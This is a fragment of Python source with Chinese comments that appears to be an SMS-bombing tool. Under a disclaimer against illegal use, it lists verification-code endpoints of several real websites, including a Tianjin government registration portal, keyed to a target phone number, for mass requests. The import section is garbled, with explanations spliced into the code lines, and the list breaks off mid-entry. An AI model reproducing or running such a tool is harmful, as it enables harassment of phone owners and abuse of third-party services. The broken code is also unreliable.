# 不可用于非法用途,使用本程序所产生的后果,与本人概不相关。
import requests
:引入用于发送网络请求的requests库。import re
:引入Python的正则表达式模块re,用于字符串的模式匹配和替换。import threading
:引入用于实现多线程的threading模块。import os
:引入用于执行与操作系统相关的任务的os模块。import random
:引入用于生成随机数和随机选择的random模块。import socket
:引入Python的socket模块,用于进行网络通信。import struct
:引入struct模块,用于处理字节与其他数据类型之间的转换。import time
:引入time模块,用于处理时间相关操作。
#API接口初始化,按照手机号生成不同的网址
def initAPI(phone):
# 短信接口API 请求间隔时间 备注 请求方式 请求参数 需要SESSION的先决请求URL以及Referer
APIList = [
["https://login.ceconline.com/thirdPartLogin.do", 60, "世界经理人", "POST",
{"mobileNumber": phone, "method": "getDynamicCode", "verifyType": "MOBILE_NUM_REG", "captcharType": "",
"time": str(int(time.time() * 1000))}, ""],
["http://www.ntjxj.com/InternetWeb/SendYzmServlet", 120, "机动车手机绑定", "POST", {"sjhm": phone},
"http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"],
["https://www.itjuzi.com/api/verificationCodes", 60, "IT橘子", "POST", {"account": phone}, ""],
["http://yifatong.com/Customers/gettcode", 60, "易法通", "GET",
{"rnd": ("%0.3f" % (time.time())), "mobile": phone},
"http://yifatong.com/Customers/registration?url="],
["http://qydj.scjg.tj.gov.cn/reportOnlineService/login_login", 60, "天津企业登记", "POST",
{'MOBILENO': phone, 'TEMP': 1},
""],
["http://www.shijiebang.com/a/mobile/vcode/", 120, "世界邦", "GET", {'key': phone},
"http://www.shijiebang.com/reg/"],
[
"http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=",
60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"],
["http://www.homekoo.com/zhixiao/zt_baoming_ajax_pc_new.php", 180, "尚品宅配", "POST",
{"action": "OK", "username": "吕布", "tel": phone, "qq": "", "province": "", "city": "", "kehu_tel_time": "",
"tg_id": "296", "sp_type": "986", "num_id": "5",
"zhuanti_pages": "http://www.homekoo.com/zhixiao/cuxiao/index.php", "prevurl": ""},
"http://www.homekoo.com/zhixiao/cuxiao/index.php&#